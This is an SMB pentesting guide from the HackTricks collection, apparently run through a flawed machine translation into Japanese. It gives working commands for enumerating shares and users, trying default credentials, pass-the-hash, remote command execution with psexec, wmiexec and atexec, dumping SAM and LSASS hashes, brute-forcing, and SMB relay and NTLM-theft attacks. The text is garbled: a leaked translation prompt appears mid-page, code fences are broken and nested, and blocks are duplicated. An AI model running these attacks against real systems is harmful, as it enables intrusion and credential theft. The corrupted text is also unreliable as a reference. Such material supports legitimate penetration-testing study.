hacktricks/network-services-pentesting/pentesting-smb.md

668 lines
37 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 139,445 - SMBのペンテスト
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details>
## **ポート139**
**NetBIOS**は、_Network Basic Input Output System_の略です。これは、ローカルエリアネットワークLAN上のアプリケーション、PC、およびデスクトップがネットワークハードウェアと通信し、データをネットワーク上で送信するためのソフトウェアプロトコルです。NetBIOSネットワーク上で実行されるソフトウェアアプリケーションは、NetBIOS名によって相互に検出および識別されます。NetBIOS名は最大16文字であり、通常はコンピュータ名とは別になっています。2つのアプリケーションは、1つクライアントが「呼び出し」コマンドを別のクライアントサーバーに送信すると、**TCPポート139**を介してNetBIOSセッションを開始します。[ここから抜粋](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## ポート445
ポート139は技術的には「NBT over IP」として知られていますが、ポート445は「SMB over IP」として知られています。**SMB**は「**Server Message Blocks**」の略です。現代の言語では、Server Message Blockは一般的なインターネットファイルシステムとしても知られています。このシステムは、ネットワーク上のード間でファイル、プリンタ、シリアルポートなどの共有アクセスを提供するために主に使用されるアプリケーションレイヤーネットワークプロトコルとして機能します。
たとえば、Windowsでは、SMBはNetBIOS over TCP/IPを必要とせずに直接TCP/IP上で実行することができます。これは、指摘されているようにポート445を使用します。他のシステムでは、ポート139を使用してサービスやアプリケーションが実行されていることがあります。これは、SMBがNetBIOS over TCP/IPで実行されていることを意味します[ここ](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)から抜粋)
```
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
```
### SMB
Server Message Block`SMB`)は、**ファイルへのアクセス**やディレクトリ全体、プリンタ、ルーター、またはネットワークに公開されたインターフェースなど、他のネットワークリソースへのアクセスを制御する**クライアントサーバープロトコル**です。このプロトコルの主な適用範囲は、特にWindowsオペレーティングシステムシリーズであり、そのネットワークサービスはSMBを下位互換の方法でサポートしています。つまり、新しいエディションを搭載したデバイスは、古いMicrosoftオペレーティングシステムがインストールされたデバイスと簡単に通信できます。\
また、フリーソフトウェアプロジェクトである**Samba**を使用することで、**Linux**およびUnixディストリビューションでSMBを使用し、SMBを介したクロスプラットフォームの通信が可能になります。
SMBサーバーは、**ローカルファイルシステムの任意の部分を共有**することができます。したがって、クライアントに表示される**階層**は、**サーバー**上の**構造**と部分的に**独立**しています。**アクセス権**は、`Access Control Lists``ACL`)によって定義されます。これらは、個々のユーザーまたはユーザーグループに対して**`実行`**、**`読み取り`**、**`完全アクセス`**などの属性に基づいて**細かく制御**することができます。**ACL**は**共有に基づいて**定義されるため、サーバー上でローカルに割り当てられた権限とは異なります。
### IPC$ 共有
書籍「_**Network Security Assessment 3rd edition**_」より
匿名のヌルセッションを使用すると、IPC$共有にアクセスし、名前付きパイプを介して公開されたサービスと対話することができます。特にKali Linux内のenum4linuxユーティリティは非常に便利です。これを使用すると、次の情報を取得できます。
* オペレーティングシステムの情報
* 親ドメインの詳細
* ローカルユーザーとグループのリスト
* 利用可能なSMB共有の詳細
* 有効なシステムセキュリティポリシー
## NTLMとは
NTLMが何かわからない場合、またはNTLMの動作方法や悪用方法について知りたい場合は、次のページが非常に興味深いでしょう。**NTLM**について説明されており、**このプロトコルの動作方法と利用方法**が説明されています。
{% content-ref url="../windows-hardening/ntlm/" %}
[ntlm](../windows-hardening/ntlm/)
{% endcontent-ref %}
## **サーバー列挙**
### **ネットワークをスキャン**してホストを検索します:
```bash
nbtscan -r 192.168.0.1/24
```
### SMBサーバーのバージョン
SMBバージョンの潜在的な脆弱性を探すためには、使用されているバージョンを知ることが重要です。この情報が他の使用ツールに表示されない場合は、次の方法を使用できます。
* **MSF**の補助モジュール \_**auxiliary/scanner/smb/smb\_version**を使用する
* または、次のスクリプトを使用する:
```bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **エクスプロイトの検索**
エクスプロイトの検索は、SMBサービスの脆弱性を見つけるために重要なステップです。エクスプロイトは、既知の脆弱性を悪用するための特殊なコードまたは手法です。エクスプロイトを使用することで、攻撃者はSMBサービスに侵入し、機密情報を盗む、システムを乗っ取るなどの悪意のある活動を行うことができます。
エクスプロイトを検索するためには、以下の手順に従います。
1. セキュリティ情報のデータベースやオンラインのリソースを調査します。CVECommon Vulnerabilities and Exposuresデータベースやセキュリティブログ、フォーラムなどが有用な情報源です。
2. SMBサービスのバージョンや使用されているソフトウェアの詳細を特定します。これには、ネットワークスキャンやポートスキャンツールを使用することができます。
3. 特定のバージョンやソフトウェアに関連する既知の脆弱性を検索します。エクスプロイトコードや手法は、オープンソースのセキュリティツールやGitHubなどのリポジトリで入手できる場合があります。
4. 脆弱性の詳細とエクスプロイトの使用方法を理解し、攻撃のリスクと成功の可能性を評価します。
エクスプロイトの検索は、SMBサービスの脆弱性を特定し、システムのセキュリティを向上させるために重要なステップです。ただし、エクスプロイトの使用は法的な制約や倫理的な考慮事項に従う必要があります。
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
```
### **可能性のある**資格情報
| **ユーザー名** | **一般的なパスワード** |
| -------------------- | ----------------------------------------- |
| _(空白)_ | _(空白)_ |
| guest | _(空白)_ |
| Administrator, admin | _(空白)_, password, administrator, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | password, test, lab, demo |
### SMB環境情報
### 情報の取得
```bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>
#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information
#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>
```
### ユーザー、グループ、およびログイン中のユーザーの列挙
# この情報は既にenum4linuxとenum4linux-ngから収集されているはずです
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]
ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "
rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### ローカルユーザーの列挙
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
以下は、ハッキング技術に関する本の内容です。次の内容は、ファイルnetwork-services-pentesting/pentesting-smb.mdからのものです。関連する英文を日本語に翻訳し、翻訳を保持したまま、同じマークダウンおよびHTMLの構文を返してください。コード、ハッキング技術の名前、ハッキング用語、クラウド/SaaSプラットフォームの名前Workspace、aws、gcpなど、'leak'という単語、pentesting、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウン構文以外の追加の内容は追加しないでください。
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
### Metasploit - ローカルユーザーの列挙
```bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts ホスト名.local
run
```
```
### **Enumerating LSARPC and SAMR rpcclient**
{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %}
[rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md)
{% endcontent-ref %}
### GUI connection from linux
#### In the terminal:
`xdg-open smb://cascade.htb/`
#### In file browser window (nautilus, thunar, etc)
`smb://friendzone.htb/general/`
## Shared Folders Enumeration
### List shared folders
It is always recommended to look if you can access to anything, if you don't have credentials try using **null** **credentials/guest user**.
```bash
```markdown
## smbclientコマンド
```bash
smbclient --no-pass -L //<IP> # ヌルユーザー
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> # パスワードを省略するとプロンプトが表示されます。--pw-nt-hashを使用すると、提供されたパスワードはNTハッシュです。
```
## smbmapコマンド
```bash
smbmap -H <IP> [-P <PORT>] # ヌルユーザー
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] # 資格情報
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] # パス・ザ・ハッシュ
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] # 再帰的なリスト
```
## crackmapexecコマンド
```bash
crackmapexec smb <IP> -u '' -p '' --shares # ヌルユーザー
crackmapexec smb <IP> -u 'username' -p 'password' --shares # ゲストユーザー
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares # ゲストユーザー
```
```
```
### **Connect/List a shared folder**
```bash
# smbclientを使用して接続する
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #パスワードを省略すると、プロンプトが表示されます。--pw-nt-hashを使用すると、提供されたパスワードはNTハッシュです
# --no-pass -c 'recurse;ls' を使用してsmbclientで再帰的にリストを表示する
# smbmapを使用してリストを表示する。フォルダを指定しない場合、すべてをリストします
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # 再帰的なリスト
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # 非再帰的なリスト
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] # パス・ザ・ハッシュ
```
### **Manually enumerate windows shares and connect to them**
It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT\_STATUS\_ACCESS\_DENIED and NT\_STATUS\_BAD\_NETWORK\_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all.
Common share names for windows targets are
* C$
* D$
* ADMIN$
* IPC$
* PRINT$
* FAX$
* SYSVOL
* NETLOGON
(Common share names from _**Network Security Assessment 3rd edition**_)
You can try to connect to them by using the following command
```bash
```markdown
## smbclientコマンドを使用してWindows共有に接続する
以下のコマンドは、Windows共有に接続するためのsmbclientコマンドです。
### Nullセッションを使用して接続する場合
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE>
```
このコマンドは、nullセッションを使用してWindows共有に接続します。
### 認証セッションを使用して接続する場合
```bash
smbclient -U '<USER>' \\\\<IP>\\<SHARE>
```
このコマンドは、認証セッションを使用してWindows共有に接続しますパスワードの入力が求められます
```
```
or this script (using a null session)
```bash
#/bin/bash
ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')
for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')
if [[ -z $output ]]; then
echo "[+] $share に対してヌルセッションの作成が可能です" # コマンドが実行された場合は出力がないため、セッションが作成されたと仮定します
else
echo $output # エラーメッセージを表示しますNT_STATUS_ACCESS_DENIEDまたはNT_STATUS_BAD_NETWORK_NAME
fi
done
```
examples
```bash
```markdown
## SMB (Server Message Block) ペンテスト
### smbclientコマンド
以下のコマンドを使用して、SMBサーバーへの接続をテストできます。
```bash
smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # NT_STATUS_BAD_NETWORK_NAMEが返されます
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # NT_STATUS_ACCESS_DENIEDが返されるか、セッションが与えられることがあります
```
```
```
### Mount a shared folder
```bash
```markdown
以下は、SMBServer Message Blockのペンテストに関する内容です。
```bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
上記のコマンドは、SMB共有をマウントするためのものです。`x.x.x.x`はSMBサーバーのIPアドレスを表しており、`share`は共有名です。`/mnt/share`はマウントポイントのパスです。
1つ目のコマンドは、デフォルトのユーザー名とパスワードを使用してSMB共有をマウントします。
2つ目のコマンドは、`username`と`password`オプションを使用して特定のユーザー名とパスワードを指定してSMB共有をマウントします。
これらのコマンドを使用することで、SMB共有をローカルマシンにマウントし、ファイルやディレクトリにアクセスすることができます。
```
```
### **Download files**
Read previous sections to learn how to connect with credentials/Pass-the-Hash.
```bash
# ファイルの検索とダウンロード
sudo smbmap -R フォルダー -H <IP> -A <ファイル名> -q # 再帰モードでファイルを検索し、/usr/share/smbmap内にダウンロードします
```
```bash
# すべてをダウンロードする
smbclient //<IP>/<共有名>
> mask ""
> recurse
> prompt
> mget *
# すべてを現在のディレクトリにダウンロードする
```
Commands:
* mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files)
* recurse: toggles recursion on (default: off)
* prompt: toggles prompting for filenames off (default: on)
* mget: copies all files matching the mask from host to client machine
(_Information from the manpage of smbclient_)
### Domain Shared Folders Search
* [**Snaffler**](https://github.com/SnaffCon/Snaffler)****
```bash
```plaintext
Snaffler.exe -s -d domain.local -o snaffler.log -v data
```
このコマンドは、Snafflerというツールを使用して、`domain.local`というドメインに対してSMBServer Message Blockのペンテストを実行します。`-s`オプションは、SMBサービスをスキャンすることを指定しています。`-d`オプションは、対象となるドメインを指定します。`-o`オプションは、結果を`snaffler.log`というファイルに出力することを指定します。`-v`オプションは、詳細な情報を表示することを指定します。`data`は、スキャン対象のデータです。
```
* [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) spider.
* `-M spider_plus [--share <share_name>]`
* `--pattern txt`
```bash
```shell
sudo crackmapexec smb 10.10.10.10 -u ユーザー名 -p パスワード -M spider_plus --share '部門の共有'
```
```
Specially interesting from shares are the files called **`Registry.xml`** as they **may contain passwords** for users configured with **autologon** via Group Policy. Or **`web.config`** files as they contains credentials.
{% hint style="info" %}
The **SYSVOL share** is **readable** by all authenticated users in the domain. In there you may **find** many different batch, VBScript, and PowerShell **scripts**.\
You should **check** the **scripts** inside of it as you might **find** sensitive info such as **passwords**.
{% endhint %}
## Read Registry
You may be able to **read the registry** using some discovered credentials. Impacket **`reg.py`** allows you to try:
```bash
```
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
```
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s
```
```
## Post Exploitation
The **default config of** a **Samba** server is usually located in `/etc/samba/smb.conf` and might have some **dangerous configs**:
| **Setting** | **Description** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Allow listing available shares in the current share? |
| `read only = no` | Forbid the creation and modification of files? |
| `writable = yes` | Allow users to create and modify files? |
| `guest ok = yes` | Allow connecting to the service without using a password? |
| `enable privileges = yes` | Honor privileges assigned to specific SID? |
| `create mask = 0777` | What permissions must be assigned to the newly created files? |
| `directory mask = 0777` | What permissions must be assigned to the newly created directories? |
| `logon script = script.sh` | What script needs to be executed on the user's login? |
| `magic script = script.sh` | Which script should be executed when the script gets closed? |
| `magic output = script.out` | Where the output of the magic script needs to be stored? |
The command `smbstatus` gives information about the **server** and about **who is connected**.
## Authenticate using Kerberos
You can **authenticate** to **kerberos** using the tools **smbclient** and **rpcclient**:
```bash
## SMB (Server Message Block)のペンテスト
### smbclientコマンド
```shell
smbclient --kerberos //ws01win10.domain.com/C$
```
このコマンドは、Kerberos認証を使用して`ws01win10.domain.com`の`C$`共有に接続するためのものです。
### rpcclientコマンド
```shell
rpcclient -k ws01win10.domain.com
```
このコマンドは、Kerberos認証を使用して`ws01win10.domain.com`に接続するためのものです。
```
## **Execute Commands**
### **crackmapexec**
crackmapexec can execute commands **abusing** any of **mmcexec, smbexec, atexec, wmiexec** being **wmiexec** the **default** method. You can indicate which option you prefer to use with the parameter `--exec-method`:
```bash
```markdown
apt-get install crackmapexec
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #PowerShellを実行
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #cmdを実行
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# --exec-method {mmcexec,smbexec,atexec,wmiexec}を使用
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #SAMをダンプ
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #メモリ内のLSASSハッシュをダンプ
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #セッションを取得
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #ログイン中のユーザーを取得
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #ディスクを列挙
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #ユーザーを列挙
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups #グループを列挙
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups #ローカルグループを列挙
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #パスワードポリシーを取得
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RIDブルート
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\
**More info** about [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
# パスワードが提供されていない場合、プロンプトが表示されます
./psexec.py [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #パスワードハッシュを使用
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t #パスワードハッシュを使用
```
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec
Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.**\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
#パスワードが提供されていない場合、プロンプトが表示されます
./wmiexec.py [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス> #パスワードの入力を求める
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #パス・ザ・ハッシュ
#コマンドの末尾に実行するCMDコマンドを追加することができます。追加しない場合、半対話型シェルが表示されます
```
Using **parameter**`-k` you can authenticate against **kerberos** instead of **NTLM**
```bash
#パスワードが提供されていない場合、プロンプトが表示されます
./dcomexec.py [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #パスワードを渡す
#コマンドの末尾に実行するCMDコマンドを追加することもできます。追加しない場合、半対話型のシェルが表示されます
```
### [AtExec](../windows-hardening/ntlm/atexec.md)
Execute commands via the Task Scheduler (using _\pipe\atsvc_ via SMB).\
In **kali** it is located on /usr/share/doc/python3-impacket/examples/
```bash
```shell
./atexec.py [[ドメイン/]ユーザー名[:パスワード]@]<ターゲット名またはアドレス> "コマンド"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"
```
```
## Impacket reference
[https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/)
## **Bruteforce users credentials**
**This is not recommended, you could block an account if you exceed the maximum allowed tries**
```bash
```markdown
## SMB Brute Force
To perform a brute force attack on the SMB service, you can use the `nmap` tool with the `smb-brute` script. The following command will attempt to brute force the SMB service on port 445 of the specified IP address:
```bash
nmap --script smb-brute -p 445 <IP>
```
Another approach is to use the `ridenum.py` script to obtain a list of usernames by brute forcing the RIDs. Once you have the list of usernames, you can then attempt to brute force each username. The following command will perform this process, specifying the IP address, the range of RIDs to brute force (from 500 to 50000), and the path to a file containing a list of passwords:
```bash
ridenum.py <IP> 500 50000 /root/passwds.txt
```
```
```
## SMB relay attack
This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\
[**More information about this attack here.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
The Windows library URLMon.dll automatically try to authenticaticate to the host when a page tries to access some contect via SMB, for example: `img src="\\10.10.10.10\path\image.jpg"`
This happens with the functions:
* URLDownloadToFile
* URLDownloadToCache
* URLOpenStream
* URLOpenBlockingStream
Which are used by some browsers and tools (like Skype)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>)
### SMBTrap using MitMf
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>)
## NTLM Theft
Similar to SMB Trapping, planting malicious files onto a target system (via SMB, for example) can illicit an SMB authentication attempt, allowing the NetNTLMv2 hash to be intercepted with a tool such as Responder. The hash can then be cracked offline or used in an [SMB relay attack](pentesting-smb.md#smb-relay-attack).
[See: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft)
## HackTricks Automatic Commands
```
Protocol_Name: SMB #プロトコルの略称がある場合は記載する。
Port_Number: 137,138,139 #複数ある場合はカンマで区切る。
Protocol_Description: Server Message Block #プロトコルの略称を全て書く
Entry_1:
Name: ノート
Description: SMBのート
Note: |
ポート139は技術的には「NBT over IP」として知られていますが、ポート445は「SMB over IP」として知られています。SMBは「Server Message Blocks」の略です。現代の言語では、Server Message BlockはCommon Internet File Systemとしても知られています。このシステムは、ネットワーク上のード間でファイル、プリンタ、シリアルポートなどの共有アクセスを提供するために主に使用されるアプリケーション層のネットワークプロトコルです。
#以下は、オープンなSMBポートを見つけた場合に毎回実行するコマンドです。
認証情報なしで
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}
認証情報ありで
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request
https://book.hacktricks.xyz/pentesting/pentesting-smb
Entry_2:
Name: Enum4Linux
Description: 一般的なSMBスキャン
Command: enum4linux -a {IP}
Entry_3:
Name: Nmap SMBスキャン1
Description: Nmapを使用したSMB脆弱性スキャン
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
Entry_4:
Name: Nmap SMBスキャン2
Description: Nmapを使用したSMB脆弱性スキャンより一般的
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}
Entry_5:
Name: Hydraブルートフォース
Description: ユーザーが必要です
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb
Entry_6:
Name: SMB/SMB2 139/445コンソールレスMFS列挙
Description: msfconsoleを実行する必要がないSMB/SMB2 139/445列挙
Note: https://github.com/carlospolop/legionから提供されたもの
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
